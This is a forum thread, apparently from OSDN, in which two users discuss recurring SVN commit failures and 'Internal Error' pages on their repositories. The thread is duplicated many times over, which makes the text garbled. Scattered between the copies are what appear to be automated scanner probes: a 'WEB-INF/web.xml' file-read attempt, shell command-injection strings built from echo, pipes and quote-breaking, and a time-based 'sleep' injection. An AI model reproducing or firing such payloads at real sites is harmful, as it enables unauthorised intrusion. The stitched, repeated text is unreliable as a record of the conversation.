Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
WEB-INF\web.xml
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
WEB-INF/web.xml
echo trfvwx$()\ jpuvyn\nzxyu||a #' &echo trfvwx$()\ jpuvyn\nzxyu||a #|" &echo trfvwx$()\ jpuvyn\nzxyu||a #
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"||sleep(27*1000)*fkoays||"
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/|echo tvvgmn$()\ bmhxfe\nzxyu||a #' |echo tvvgmn$()\ bmhxfe\nzxyu||a #|" |echo tvvgmn$()\ bmhxfe\nzxyu||a #
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
